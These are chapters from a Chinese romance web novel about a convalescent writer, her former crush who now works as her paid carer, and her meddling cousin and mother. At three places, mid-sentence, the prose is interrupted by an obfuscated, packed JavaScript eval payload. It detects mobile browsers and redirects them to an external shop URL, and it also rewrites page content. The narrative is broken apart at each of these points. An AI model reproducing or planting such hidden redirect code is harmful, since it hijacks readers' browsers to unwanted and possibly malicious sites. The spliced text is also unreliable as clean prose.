利知看了眼时间,才七点多一点,估摸着蒋星尧还没起来,便轻手轻脚地走出门边,打开门那一刹那,抬脚的动作一顿,只见冰箱前面,伫立着一道颀长的身影。 此时晨光微熹,屋内暗沉,整个屋子,连同空气都有种将醒未醒的沉寂。 这样的环境下,竟显得那道身影多了些孤寂和肃然。 利知怔愣间,蒋星尧听到声响已经偏头看了过来,随即朝她浅浅一笑,“早啊,不多睡一会?” “睡不着了。”利知抬步朝他走去。 蒋星尧背着手放在利知额头探了探,“没烧了。” 又垂眸看她,“感觉怎么样?” “好很多了,就是喉咙痛和咳嗽。” “嗯,声音都变了。”蒋星尧说,“你昨晚都烧到39.4度了,你知道吗?” 利知一怔,“我高烧了?” 蒋星尧点头,“还好吃了退烧药降下来,不然得去医院了。” 利知庆幸道:“还好有你在。” 他哼了一声,手指灵活一动,给了利知一个小栗子,“知道我的重要了吧。” 利知摸了摸被弹过的位置,估摸着他不会还介意她昨天看其他陪护的信息吧? “那个,其实我没打算换陪护的。” “最好是这样!”蒋星尧也不是真的计较她找陪护的事,只是提一下,好彰显他这个陪护的重要性。 利知指了指冰箱,问:“你要拿什么?” “不拿,”蒋星尧对着冰箱门抬了抬下巴,“单纯欣赏一下,你的生活艺术。” 利知顺着他的视线看去。 冰箱门上贴着五花八门的东西,有她和朋友的一些拍立得照片,有旅游带回来的冰箱贴,还有一些手写备忘录。 其他还好,问题在于手写的备忘录。她自己一个人在家胡编乱写倒没觉得有什么,现在有第二个人在,上面的内容,简直不要太2B! 她经常码字忘记时间了,很容易就把当天要做的事忘做了,因此手写备忘录,是她忘性大最后的倔强。 [被套该换了了了了了] [那只紫色的袜子,快点出来啊喂!别不识好歹!] [面膜还剩三片!!!] [二/哪位可爱怨种帮忙清空一下购物车啊喂!!!] [一/面膜,你完了了了了] [卤主大叔的卤蛋一点都不好吃,一定要备注换换换,怎么不长记性!!!] [卤主大叔,你ko了!!!] 真是病糊涂了,明知有人来,这些居然没撤掉! 利知恨不得用身体挡住蒋星尧的视线,奈何贴纸的位置比较高,她就差整个人贴到冰箱上了,依然挡不住他的视线。 她快速地取下纸条,边讪笑着说:“被套换了,面膜买了,袜子已经淘汰了,卤主大叔那家,我已经不点了。” “还挺好看的。”身后的人忽然说。 “啊?”利知转过头,不明所以地看向他。 那双黑眸盯着冰箱上,还没来得及取下的黄色的便利贴,补充道:“你的字。” 原来夸她的字呀! 那是事实。 小时候利知学了很多兴趣课,大都平平无奇的,唯独书法出众。 “我还出过黑板报哦。”利知骄傲道。 “是校园天地的黑板报?” “是啊。”利知说,“我的同桌负责画画,我写字。” 校园天地的黑板报是按班级轮流出的,轮到利知的班级,基本都是她同桌负责。 她的同桌画画很好,每次有任务就拉上利知,让利知写字,她就可以专心画画了。 “难怪了。”蒋星尧说。 “啊?” “字写得这么好。”蒋星尧朝她一笑,接着转身往厨房走去,“吃早餐吧。” 利知跟在他身后走到餐桌边上,看到桌上用打包盒装的早点时,不禁惊呼道:“你去勤顺记买早餐了?” “是啊,才买回来的,”蒋星尧垂下眸,揭开盖子,“趁热吃吧。” 勤顺记是本地的一家老字号了,就开在利知爸妈家附近,利知高中时经常在那买早点的。 自搬来幸福里之后,利知已经很少吃到勤顺记的早点了。 次数少了不代表不爱啊,可十多公里的距离啊,一来一回也折腾时间的。 利知瞄了蒋星尧一眼,他眼睑微瞌,密而黑的睫毛温柔地垂下,却掩盖不住眼下的乌黑。 利知不禁心生内疚,蒋星尧昨晚还要照顾她,又这么早去买早餐了,也挺累的。 转念一想又觉得奇怪,“你怎么去那么远买早餐?” “突然很想吃勤顺记的包子,”蒋星尧轻描淡写道,“反正睡不着,干脆去买了。” “哈哈我也会这样!半夜想吃勤顺记的包子。” 要赶榜的时候利知经常码字码到深夜,又累又饿的时候,就特别想吃勤顺记的汤汁肉包。 深更半夜的,也没真的赶去买个包子,唯有上微博乱吼一通:[勤顺记的汤肉包,给我来一打!] “是吗?”蒋星尧微笑着说,“那你要多吃点了。” 可能因为休息不好,蒋星尧的脸色比昨天苍白了些,就连笑意也牵强了些,整个人多了几分颓然。 利知无比愧疚,“照顾我,挺累的吧?” “还行,”蒋星尧抬眼看向她,唇角微勾,“就是有点费耳。” 利知想到昨晚做的梦,掂着声问道:“昨晚,我没说什么奇奇怪怪的话吧?” 蒋星尧手里忙活着,懒懒地应道:“有啊。” 利知颤着声问:“都,都说了什么啊?” “嘴里一直在嘀咕着,说什么小心肝的。”蒋星尧问她,“谁是你的小心肝?” 利知呼吸一滞,勉强维持着尬笑,“那是我小时候养过的一条小狗,后来跑掉了,我总是梦到它……” 蒋星尧一顿,表情有些微妙,“你叫一条狗,小心肝?” “是啊,”利知说,“一叫它,它可高兴了,尾巴都摇成蒲扇了。” “哦,吃包子吧。”那语气听着有点,赌里赌气的。 “嗯嗯!”呼!总算蒙混过关了。 吃过了早餐,蒋星尧搬出昨天带来的工具箱。不一会,扫地机器人满屋跑,蒋星尧则手握消毒枪消毒。 看上去闲闲散散的,实际上一丝不苟,把每个角落都消毒透。 利知一时间看呆了。 忽然蒋星尧转过身,把枪口对准她。利知迷茫地看向他。 蒋星尧低笑了一声,朝她扬了扬下巴,“转过身。” “哦。”才转过身,身后就升起一阵雾气。 原来是给她身上消毒。 “好了。”蒋星尧路过利知身边,轻轻拍了下她头,“真乖。” “……”把她当小孩哄呢! 紧接着去买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713175|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜。 利知把最近的菜市场和超市的位置都发给蒋星尧,都不太近,利知叫他打车去,算在每天的费用里。 蒋星尧出门了,利知无所事事,身体也还没恢复过来,索性躺沙发上刷手机。 正刷到一个搞笑视频时,高晓莱就来电话了,接通之后传来她一惊一乍的声音: “猜我看到了什么!开宾利的大长腿!” “就那条腿,我敢断定肯定是个帅哥。” “哎呀只顾着给你打电话,忘记拍照了。” 利知一脸无奈,“拍人家的车,还是大长腿呢?” “都拍呀,”高晓莱说,“给你认认,下次在小区碰到也知道长什么样啦。” “说不定是个大叔呢。” 男神都做起了全职陪护,利知觉得一切皆有可能。 “也是哦。”高晓莱声音低落了些,“开那么好的车,肯定有司机的啦。” 随即话锋一转,“嗳我快到你家楼下了,给我开门吧。” 利知一怔,随后说:“我病了啊,你没听出我声音都变了吗?” 高晓莱脚步一顿,“发烧了吗?” “是啊,昨晚发烧了,不过现在已经退烧了,就是还咳嗽啊,全身无力什么的。专家说这个时候的病毒最强了……” 说着还咳嗽两声,“不知道等下还会不会烧起来……” “那我不上去打扰你休息了。”那边响起的声音随着走路有些起伏,“有空多睡睡哈,保重保重。” “等一下。”利知叫住她,“如果我妈问起我的情况,你就说你来照看过我,见我没烧就回家了。” “哦哦,这好办。” 高晓莱也知道她妈妈的关心程度,串通说个谎这种事也不少干,末了还是真假参半地叮嘱利知,有事打给她。 挂掉电话,利知笑了出来,惜命如高晓莱,她就是吃准了这一点。 高晓莱是温女士妹妹的女儿,比利知小一年。温女士不放心利知,平时就拜托高晓莱的妈妈,也就是利知的二姨多加照看。 要是让高晓莱知道利知请了陪护,那温女士很快就知道利知对她撒了谎。 所以不让高晓莱知道,可以减免很多麻烦。 没过多久,蒋星尧就回来了。 利知讶异,“这么快吗?” 蒋星尧不以为然道:“买个菜,很快的。” 利知跟在他后面进了厨房。 蒋星尧把菜拿出来,还挺齐全的,鸡鱼瓜蔬菜都有。 只是为什么青菜是摘好的,瓜切好的,连肉都是切成薄片了? 利知满脸疑惑地望向蒋星尧。 蒋星尧会意一笑,“我加钱,叫老板弄好的。” “……”还可以这样! 以前利知被温女士架着去买菜,看她和菜档主熟稔地周旋,一来二去的,最后都以温女士找零抹零,或者多送一根葱结束交易。 而蒋星尧刷新了她对买菜的新认知,原来还有加钱切菜的操作! “事实证明,”蒋星尧把所有肉菜都整理好了后,拍了拍手,满脸赞许道,“老板切的比我好多了!” “……”呃,她该给个什么表情好呢?赞扬吗? 蒋星尧望着她,迟疑了下,便开口问:“我这样,会不会不合适?” “不会啊,你按着自己方式来就好。”利知笑着说。 买菜本来就是门技术活,她自己都学不会,又怎么会要求别人呢。 况且这点钱她还是有的。 她的男神,想怎么买就怎么买! 她纵着! 5. 第 5 章 利知晚饭吃了很多,胃口好到都差点忘了自己还是个病患了。 她摸着满足的肚子,坐在沙发上,目之所及一片整洁干净。 蒋星尧果然如他所说的,一个能顶几个!除了做菜好吃,还很会收拾屋子! 这么看来,他除了不怎么会切菜,无论是干家务还是做菜都挺不错的,甚至比他主页上写的“一日三餐,洗衣做饭”做得还要出色。 业务能力强就算了,人还这么养眼。可是日薪只收两百,会不会太合理了呢? 利知正思忖着,蒋星尧已经忙完,从厨房走了出来,还顺带捎了一杯水给她。 “谢谢啦!”利知接过水,往旁边挪了挪,示意他也坐下来。 “昨天你提出的试用期,就在今天结束了吧。”利知一脸的不好意思,“你一直都做得很好,我不打算换的。” “好啊,”蒋星尧灿然一笑道,“我的荣幸。” “网上很多陪护的文案后面有备注,”利知把杯子放下,抬眼看他,“类似浇花修??,按摩捶背这些项目是另外收费的。我没看到你的文案有写呢,你有没有,嗯,其他收费项目的呀?” “嗯?”蒋星尧偏头看向她,“你要按摩捶背?” “呃……也,行。” “来吧!”他站起来,单腿跪在沙发上,大手握住她单薄的肩膀,作势要把她的背靠向他。 利知一下子懵了,才意识到他是想现在给她按摩,不禁耳根发热,连忙制止,“哎不是……我是说类似,是类似!比如,还有浇花修草之类的啊。” 随后感觉肩上的力道收了。 “浇花修草啊,”蒋星尧把视线移向不远处,随后努了努下巴问,“它吗?” 利知顺着他的视线,望向角落那盆孤苦伶仃的植物。 那是家里唯一的一盆植物——常春藤。 在上一次利知忘我爆肝了一个月之后,常春藤枯萎了。她抱着死马当活马医的心态,给它浇满了水,没想到几日之后爆小芽了。 就是这么一棵嫩绿嫩绿的,才几厘米的小芽儿。 话扯到这份上了,利知硬着头皮接下去,“对,浇它!修它!” 蒋星尧凑到小芽儿前面,看了好一会才说:“嗯,的确是需要细心呵护的……小芽儿。” 蒋星尧转过头看向利知,“那需要我怎么做?” “浇水,长好了以后修枯叶。” “然后呢?” “然后……看着它,长大!” 蒋星尧一脸的无奈,“我在这里就几天时间,能看着它长到多大呢。” “……”呃,好像也是。 “我按摩捶背还可以的,陪吃陪喝陪什么的都行,需要吗?” 利知沉吟一会,顺势问道:“那,按次收费?” “行啊。”蒋星尧想了想,又补充道,“你想加什么项目直接提就行,只要不是违法,不违背道德的,我都会尽力做好的。” “好……” 项目范围还挺广的,她要好好想想,在合情合理的情况下,可以加些什么。 这个问题想到了睡觉前,利知准备回房睡觉,蒋星尧倚着门,笑得一脸灿烂地问她,需不需要陪睡服务。 吓得利知脸热烘烘的,手和头快摇成拨浪鼓了。 关上门,调整了一会混乱的呼吸,她觉得有些跷蹊—— 刚才蒋星尧说话时那一脸的坦荡,哪里有什么粉色交易内味呢! 她好像,被捉弄了! * 次日,利知被一阵门铃声吵醒。等她出去,多了一个穿着严密的白色防护服的人站在门口处,与蒋星尧正大眼瞪小眼。 现在不是不兴大白上门了吗? 利知满脸疑惑地走近,当看清那双眼睛时,暗叫一声——糟了! 那双眼一瞬不瞬地盯着蒋星尧,里面散发出的光芒,利知熟悉得很,是只有见到帅哥时,特有的光。 待利知走近,大白才感知到利知的存在般,黏腻的目光从蒋星尧身上移开,来到利知身上时,立马变得澄清,高声惊呼道:“怎么不戴口罩!” 蒋星尧听了皱了下眉。 也就那么一下下,大白却轻易察觉到了,忙温声细语地对他说::“你不用戴。” 利知:“……” 这人的双标,也太明显了吧! 利知戴好口罩的时候,两人正自我介绍。 “你好,我是利知的表妹,我叫高晓莱。”声音柔得都快滴出油来。 “你好,我叫蒋星尧。” “这名字好啊哈哈。” “喝水吗?”蒋星尧问。 “不用不用,我站站就走。” 利知上下打量着高晓莱这一身行头,莞尔道:“为了见我一面,破费了啊。” 高晓莱双手端了端头套,掂着声音道:“应该的应该的。” 她显然不习惯这一身的行头,扶着墙歪歪斜斜地往阳台走过去,还不忘朝利知招了招手。 能让高晓莱冒着生病危险来找的,想必是有什么重要的事要和她说吧。 利知无声叹息,对着一旁的蒋星尧说:“我先和她聊聊。” 一出了阳台,高晓莱连忙关上阳台门,压低声音嚷道:“快快告诉我,哪找来的尤物?” 利知嘴角抽了抽,还是老实答道:“小黄鱼上找的。” 高晓莱一怔:“就是专职照顾人那种?” “是的。” “哎不是……”高晓莱抡着脖子往屋内瞄了几眼,收回视线时眼里满是不可置信,“你说,他是专职陪护?” “啊对啊。” “看着不像啊。” 利知沉默了,该不该和她说,蒋星尧以前家境还不错的,有可能是遇到困难,才做起陪护的呢? 想想还是不说了,毕竟那是蒋星尧的私事,她不想背地里去讨论。 “哎热死了。”高晓莱说着摘了口罩,又脱掉白色防护服。 利知稀奇了,“你这是干嘛?” “我决定了,留下来帮你探探虚实。”高晓莱把脱下来的防护服揉成一团,一副壮士一去不复返的样子,“我今天和病毒拼了!” “……” 最后,说好站站就走的人留了下来吃完午饭再走。 利知有点怀疑,高晓莱所谓的探虚实是不是个借口,她全程像只勤劳的小蜜蜂那样围着蒋星尧转。 蒋星尧消毒她也要跟着,最后蒋星尧用消毒枪对准她,抢口朝远处摆了摆,”站远点,给你消消毒。” 高晓莱屁颠跑开,乐呵呵地转着圈让蒋星尧消毒。 利知忽然想到早上也被蒋星尧叫着转圈消毒,此时看着高晓莱憨憨又享受的样子,不会她当初也是这副模样吧? 吃午饭的时候,高晓莱也没消停。 “蒋先生以前在哪高就的啊?” “一家药企。”蒋星尧答。 “哦?怎么突然转做陪护了呢?” 利知也抬眸看向他,说实话,她也挺好奇的,只是不好问。 从家里有矿到做起住家陪护这事,在大多数人眼里,并不光彩。 “做陪护挺不错的。”蒋星尧倒是神色未变,他睑眸放下筷子,再抬眸时,不经意地朝利知看了一眼,随即笑道,“我也是做了之后才发现,这是个朝阳行业。” 高晓莱若有所思,“蒋先生还挺,眼光独到的啊。” 蒋星尧笑笑,不置可否。 吃完饭,高晓莱和利知回房间,房门一关上,高晓莱就拉着利知坐床上,压低声音说:“你家小男佣不简单。” 利知愣住,不是因为她口中的“不简单”,而是因为“小男佣”的称呼。 但她并没纠出来说,而是低声问她:“什么意思?” “早上第一眼看他就觉得他气质不凡,我刚才特地留意了下,他的衣着看着简单百搭,实际上都是大牌,穿搭衣品也在线。举止动作中流露出的气质,一点都不像长期干家务做饭的人。我还特别留意了他的手指,修长匀称,皮肤白皙还细腻,哪是洗衣做饭的手!” 高晓莱是一大品牌的柜姐,对于品牌、穿搭有一定的了解。 其实有些细节利知也留意到了,只是蒋星尧在她这里,一直有着男神的滤镜,尽管是做了陪护,滤镜一直都在,也就不疑有他,此时被高晓莱这么一说,她那份隐藏的疑惑也被提出来了。 利知小声问:“那你觉得,他像什么?” “像管理层,”高晓莱顿了下,“上位者那种感觉。” “这么说也挺像的,”利知沉吟片刻,“他不是说陪护是朝阳行业吗?会不会他本来就是陪护公司里的管理者?” “啊,可能吧,也可能是太子爷出来历练什么的……”高晓莱突然噤了声,随后目光炯炯地看着她,“真的是你找的他,不是他找你的?” 利知眸光一闪,“我,我找他的。” 正因为是她主动找的,所以才会在那些细节面前不疑有他。 至于蒋星尧是她男神一事嘛……她不好坦白,反正在高晓莱看来,她之所以点中蒋星尧做陪护,也是看中他那张脸。 高晓莱上下把利知扫了几眼,然后盯着她的脸看了一会。 利知被看得莫名奇妙,“怎么了?” “别被他骗财了,可别被人家一哄就全部家当拱手送啊。” 正打算给蒋星尧加钱的利知:“……” “骗感情也不行!”高晓莱停顿了下,“骗骗色还行,啧,就那张脸那身材,反正你也不亏。” “……” 高晓莱想起蒋星尧做晚餐的场景,便说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713176|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :”你家小男佣目测有185以上吧,你那条小围裙他系着很不合身,我那有一条长的闲置,回头寄给你吧。” 那条围裙系在蒋星尧身上的确不合身,有大的当然更好。 再次在高晓莱口中听到小男佣三个字,利知忍不住提了一句,“他不是男佣。” 临走前,高晓莱才想起自己来一趟的目的,“对了,你给大姨打个电话说你有人照顾了,她这两天找我妈好几次了,说怕你一个人生病会出什么事。” 她一脸生无可恋,“我妈被磨了两天了,我就被我妈赶来你这里啦。” 利知头皮一麻,忙问:“我妈没问你什么吧?” “没啊,大姨都是和我妈通话的。” 利知双手合十,“回去你跟我妈说你来照顾我一天,看我没什么事,就被我赶回去了。” “不行!我会被骂的。” “回头请你吃饭!” 高晓莱皱眉不说话。 利知一咬牙,“再加你上次看中的香家香水。“ “OK,成交!”高晓莱说,“有专门的人来照顾你不是更好吗?为什么要瞒着大姨?” “你不懂的了,”利知一脸深沉,“给我送外卖的小哥都常被温女士挂嘴边。她对我身边出现的男人,天生敏感。” “噗哈哈哈……” * 利知午睡醒来没多久,就听到蒋星尧在外面收了个快递。她最近没网购,估计是高晓莱早上说的同城快递吧。 便给蒋星尧发了条信息,[快递你拆了吧,是晓莱送你的] 利知发完信息,又在床上玩了会手机,就听到一阵敲门声。 “快递,应该是给你的……”蒋星尧的声音带着迟疑,“你要不要看一下?” 利知走出来,看到搭在沙发背上,一条白色毛绒绒的东西,心里觉得奇怪。 “好像是围裙。”蒋星尧食指搓了搓鼻子。 利知这才留意到,沙发角落还放着个毛绒绒的耳朵头箍。 她展开看了看,果然是一条围裙,只是比普通的围裙要长,她在自己身上比划了下,都要拖地了呢。 正常的围裙,谁做成毛绒绒的? 利知找到包装袋看了下寄件地址,的确是高晓莱的。 她走出阳台,边拨通高晓莱的电话,“莱莱,你确定寄的是厨房用的围裙?” “我没说是厨房专用的啊。”高晓莱故作神秘地压低声音,“跟你说哦,它实际是男版情、趣、套装!” “……!!!” “不过放心,是全新的,我买大了,后来懒得换了。我男朋友你知道,没超过180,用不上。” 利知闭了闭眼,调整好呼吸再睁开眼,尽可能心平气和地说:“你还是留着用吧!我给你寄回去!” “好啊——”高晓莱拉长尾音,“要不等小男佣在你那的工作结束了,我接着聘请他,专门给他穿这个。” “高、晓、莱!”利知被气到了,“他是陪护,不是男佣,虽然我不知道有什么区别,但男佣这个词听着嗝耳。还有他做陪护很称职,如果聘他只为了给他穿这个,那是对他工作的侮辱。” 高晓莱默了默,再开口时语气也有点冲了,“那么较真干嘛!他是个什么宝贝疙瘩哦,开个玩笑都不行!” 双方陷入短暂的沉默。 这个间隙利知的情绪也下了些,忙对高晓莱说:“对不起,莱莱我……我反应有点过了。” 高晓莱也冷静下来了,自己刚才的话确实对别人有不尊重。 “好啦,我也有不对的地方。”她用惯常的语调啧了一声,“人和围裙你都留着,反正很保守的,就让他做饭穿穿就行。” “好的。”利知低声说,“莱莱,对不起,我知道你是出于好心的。” “好啦好啦。”高晓莱也没真的生气,不过一来一回的倒是有了意外的收获。 她大剌剌地打起趣来,“看你平时与世无争的样子,怎么提到他的事就护食得很呢?” 她意味深长道:“不错!开窍了啊。” 挂了电话,利知在阳台站了一会,才慢吞吞地走回屋里。 蒋星尧正好整以暇地望着她,她牵起笑说:“是给你的围裙。” 蒋星尧挑了挑眉,“真是给我的?” 利知点着头说:“你就做饭的时候穿着吧,我的那条围裙你穿着太小了。” 蒋星尧拿起围裙,举在眼前展开。 造型是普通的围裙造型,就是多了一条毛绒绒的长尾巴。上面是一条挂脖绳,两侧分别有一条系绳,下摆布料比上面多些,系好腰带还能把屁、股遮上一半。 就是白色,还毛绒绒的布料,怎么都不像是进厨房穿的围裙。 蒋星尧端详了一会,冷不丁问了句,“里面穿不穿呢?” 6. 第 6 章 话音刚落,蒋星尧顿了下,解释说:“这条围裙很厚,穿上衣服更热。” 是啊!这么热的天,这围裙像一层狐狸毛皮,得多热啊。 于是利知善解人意地说:“那不要穿了!” 说完她顿了一下,脑海里不合时宜地浮现出一副画面: 在围裙遮盖不住的地方,光祼的背,劲瘦的腰脊,再往下…… 哎不行!是不是平时外卖吃多了,营养没跟足,一刺激脑供血就不足。 利知抬头看向蒋星尧,只见他眼神清澈,神色也与以往无异。 估计不是存心的。 见利知的脸色又红又白的,蒋星尧一脸关切地问:“哪里不舒服了?” “脑袋。”利知扶着额老实说,“可能想太多了。” 蒋星尧听了一怔。 利知忙解释说:“那个,我最近在修改新文大纲,加上病毒未清,头颅都要爆炸了哈哈。” 一只大手抚上她的头顶,轻轻给她按揉着,“你还生着病呢,先不要想了。” “嗯嗯,真的不能再想了。” 利知低下头,恰好瞄到毛绒绒耳朵头箍。还挺可爱的! 利知拿起头箍,和那张俊脸比划了下,还别说!那双汩汩的桃花眼,和狐狸头箍,还有围裙,真的很搭! 利知笑盈盈地靠近他,“再戴上这个?” 然后踮起脚就要给他戴上,却被他用手轻轻一挡,“不戴。” 见利知岿然不动,蒋星尧叹了口气,“我一个男的戴这个像什么样?” “像男狐狸啊。” 蒋星尧明显被噎了一下,随即笑道:“这么抬举我啊。” 他微笑着摇着手指,“不过,不戴。” “戴吧戴吧!” 戴上就是世界上最迷人的男狐狸,专门勾人摄魂那种。 蒋星尧依不旧松口。 利知思忖一下,用商量的口吻说:“要不,你戴上,我给加班费?” 蒋星尧讶异,“还可以这样?” “你不是说过在不违法不违背道德情况下,项目随我加吗?” 蒋星尧:“……” 这算不算搬石头砸自己的脚? 利知伸出三根手指打着商量,“300?” 蒋星尧皱着眉不说话,不知道在想什么。 “500!” 蒋星尧低下头去看她,两人的距离很近,又因为身高的差异,利知只好仰着脑袋去看他。 她那一头乌发乖顺地向后垂,有几缕俏皮地缠在脸颊,那双眼闪烁着希冀的光,像极了正想方设法讨要牛奶糖的小女孩,萌动可爱,又古灵精怪。 这样的利知,和他刚来她家时见到的,很不同。 好像,少了些生疏感。 黑眸划过那个毛绒绒的狐狸耳朵,他拧着眉想,难道女生的距离,要靠这些稀奇古怪的东西拉近的? 蒋星尧看向她,一本正经道:“你看我像是为钱折腰的人吗?” “……” 不等利知给出反应,蒋星尧忽地一笑,“没错,我就是!” 利知有些意外,“你愿意啦?” “嗯,没人和钱过不去的。” 这下轮到利知犹豫了,刚才的话几乎是脱口而出,仔细一想,她这种花钱逼人家做不愿意的事,和高晓莱在电话里争执的事,没什么区别。 “真的没问题吗?”她问,“你会不会,嗯,不开心?” 蒋星尧反问:“我为什么做陪护?” “赚钱。” “都是赚钱,赚的还比日薪高,何乐不为呢?” 利知终于放下心了,开开心心地催他系上围裙,又亲自给他戴上毛绒绒的狐狸耳朵。 退了几步,好好欣赏一番,视线往下滑,明媚的笑意在眼角漫开,妖冶的含情目。 啊啊啊啊这下是个不折不扣的男狐狸了! “好看吗?”蒋星尧低声问。 “好看好看的!” 利知巴在高脚桌上,撑着脑袋,看着背对她在忙碌的人。 其实她头疼着,全身乏力,这时候最适合躺床上休养生息,奈何此刻她有超强的意志力。 开玩笑! 那可是她花了500元换来的视觉盛宴,睡觉瞬间不香了好吧! 蒋星尧并没真的脱掉上衣了,只是高大的身躯,和狐狸套装带来的视角冲击,也不是盖的! 操作台旁的人背对着利知,因为低着头,狐狸头箍只看到一小簇白毛,往下是修长的脖颈,线条流畅的后背,再往下是一条狐狸尾巴,正随着他的动作一摇一摆的,可爱到不行。 妖孽、性感又不失可爱,呜呜呜这个男狐狸真的,太过分了! 利知看得喉痒难耐,忍不住跳下高脚凳,过去撸狐狸尾巴。 蒋星尧回头看她一眼,无奈笑了笑,还一边配合地把尾巴摇甩着,一边忙手上的活。 雪白柔软的尾巴在小巧的手里时而停留时而划走,有种说不出的舒服感,惹得利知咯咯笑起来。 胆子也大了些。 “蒋星尧。”她轻声唤道。 “嗯?” “之前收过加班费吗?” 蒋星尧认真想了下,“我加班从来没加班费的。” 语气倒是挺平淡,在利知听来,就多了点委屈巴交的意思了。 唉!这么认真努力投入工作当中的人,那些人怎么能忍住手不给加班费的呢! 如果那颗受伤的心灵需要缝缝补补的话,那她来化身小裁缝吧。 她毅然说:“以后,我每天都给你加班费好不好?” “嗯?这么快想出新项目了?” 语气里竟带着莫名的兴奋。 利知甩了甩有点钝痛的脑袋,如果不是错觉,那么就是他想——钱了。 “你,真的能接受吗?”利知手里摇着毛绒绒的尾巴,头伸到他的侧前方问。 “能啊,我不是说了嘛,”蒋星尧侧过头冲她眨了眨眼,“我很乐意为钱折腰的啊。” 哈哈哈果然!! 贪财的男神比高中那个站在主讲台上,风光霁月的男神更接地气是怎么回事! 利知不擅长交际,算是一个社恐,因此一毕业就果决待家里全职写小说,免去了外面那些纷繁的交际。 那样的生活是挺称心的,缺点就是,导致她不大会和人相处。 蒋星尧刚来她家时,因为有着当年的男神滤镜,又害怕说了,或者做了什么伤了他自尊心,利知和他相处时总是小心翼翼,很不自然。 其实她很想和他多接触交流的,只是找不到突破口。 可他说肯为钱折腰耶! 好比玩密室逃脱,被困在一个四面都是墙壁的房间里,忽然找到一个暗格机关,一拧开,一面墙化作一道门,呼,找到出口了! 这500元,值了! “你手机响了。”蒋星尧的声音打断了她的畅想。 利知跑出厨房,找到手机,看到显示是温女士打来的视频电话,她犹豫了。 高晓莱早上才来过,下午温女士的视频电话就打来了。 这也太巧了吧! 可这个时候母亲大人的不能不接啊,不然以为她有什么事呢。 利知坐到沙发上,把手机背对着厨房,这样视频里就不会看到厨房里的人了。 接通后,温女士一通的温声细语,嘘寒问暖,就是不肯挂电话。 利知心里着急,眼看着蒋星尧很快就做完菜了。 眼神来回飘着,心不在焉地嗯嗯啊啊地应付着。 温女士皮笑肉不笑,“晓莱那丫头大剌剌的,我就担心她照顾不好你。” 来了来了!温女士打完游击,来打地鼠了! 利知苦瓜着脸,单手捂着头哎哟哎哟地叫着,“早上还好好的,现在又头痛想睡了。” “妈,不和你说了,我先睡一会。” “睡什么睡!”温女士收起一脸的慈祥,虎着脸瞪她,“二十分钟了,你愣是一个字不提,翅膀硬了啊。” “林阿姨的儿子哪里差了,又是个医生,你偏要找个陌生男人来照顾,哦!还让人住家里!”温女士越说越气。 利知被骂得收起了夸张的表情,果然是!高晓莱叛!变!了!!! 温女士越说分贝越高,利知吓得忙把手机音量调小,再看向厨房里。 咦,人呢? “看哪呢?”温女士吼过来。 吓得利知连忙收起乱飘的视线,端正地看向手机。 “林阿姨的儿子听说你病了,还说要来看一下你,看看你需要什么的。你倒好啊,熟悉的不要,非要在外面请个不熟悉的,靠谱吗?” 利知在她的话里捡了个漏,“他哪里听说我病的?” 温女士被噎了一下,“……我就不能找他妈妈唠嗑刚好被他听去了吗?” 好强大的“刚好”啊! “可我不需要医生,就需要有人在我不舒服的时候照顾一下生活起居而已。” 利知毕业后温女士有叫过她出国,可利知习惯了这边,而且她小说的受众都在国内,也就不出国了。 这些年利知的父母极少回国,温女士对于独留她在国内一直有愧,此时听利知说需要人照顾生活起居,又想到女儿自初中就独自留在栗城,一下子哽咽起来。 “我这不……也想找个靠谱的人,照顾你嘛…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713177|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “妈,我懂的。” 温女士的用心,利知一直是理解的。可理解归理解,这种变相的相亲,她不能接受啊。 余光瞥到有人影晃动,利知抬眼望去,那人不知什么时候脱下了狐狸套装,换上了一件带领的短袖,头发也打理过,露出了光洁的额头,浓眉下,黑眸紧锁着她,脸上少了往常的痞性,多了几分庄重。 本来不知道那几分庄重是哪来的,待他走近,利知发现,他新换上的那件带领短袖是大格子的,透着一股不容忽视的,老干部风! ?? 这风格切换得,如此来去自如! 利知满脸疑问地看向他,他的眼神压下来时,带着些许安抚的意味,然后弯腰曲膝,端正地坐到了利知旁边。 就,猝不及防的,把他框入了视频中! 利知:“……” “阿姨好,我叫蒋星尧,这周都是我在照顾利知的。” 饶是阅历丰富的温女士看见那张脸,也有一瞬的怔愣,随即语气放缓道:“哦,是蒋先生啊。” “阿姨可以叫我小蒋,或者星尧都可以的。” 说话间,蒋星尧悄无声息地接过利知的手机,凝了利知一眼,眼睛便没离过屏幕了。 温女士望向自家女儿,警告性地清咳了两声。 利知忙收回了瞄向蒋星尧的视线,看回屏幕。 温女士看着自家女儿,肃着脸说:“坐远点!” 